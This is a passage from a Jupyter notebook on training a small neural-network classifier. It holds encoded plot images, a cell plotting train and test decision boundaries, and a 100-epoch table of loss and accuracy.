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\n", - "text/plain": [ - "
" - ] - }, - "metadata": { - "needs_background": "light" - }, - "output_type": "display_data" - } - ], - "source": [ - "plt.figure(figsize=(12, 6))\n", - "plt.subplot(1, 2, 1)\n", - "plt.title(\"Train\")\n", - "plot_decision_boundary(model_77, X=X_train, y=y_train)\n", - "plt.subplot(1, 2, 2)\n", - "plt.title(\"Test\")\n", - "plot_decision_boundary(model_77, X=X_test, y=y_test)\n", - "plt.show()" - ] - }, - { - "cell_type": "code", - "execution_count": 104, - "id": "c819f81b", - "metadata": {}, - "outputs": [ - { - "data": { - "text/html": [ - "
\n", - "\n", - "\n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - "
lossaccuracy
00.7208690.493
10.7140070.496
20.7095230.492
30.7062740.474
40.7038360.479
.........
950.6480950.678
960.6472510.675
970.6464020.684
980.6455610.702
990.6449050.688
\n", - "

100 rows × 2 columns

\n", - "
" - ], - "text/plain": [ - " loss accuracy\n", - "0 0.720869 0.493\n", - "1 0.714007 0.496\n", - "2 0.709523 0.492\n", - "3 0.706274 0.474\n", - "4 0.703836 0.479\n", - ".. ... ...\n", - "95 0.648095 0.678\n", - "96 0.647251 0.675\n", - "97 0.646402 0.684\n", - "98 0.645561 0.702\n", - "99 0.644905 0.688\n", - "\n", - "[100 rows x 2 columns]" - ] - }, - "execution_count": 104, - "metadata": {}, - "output_type": "execute_result" - } - ], - "source": [ - "kf=pd.DataFrame(hhh.history)\n", - "kf" - ] - }, - { - "cell_type": "code", - "execution_count": 105, - "id": "bb6c2187", - "metadata": {}, - "outputs": [ - { - "data": { - "text/plain": [ - "" - ] - }, - "execution_count": 105, - "metadata": {}, - "output_type": "execute_result" - }, - { - "data": { - "image/png": "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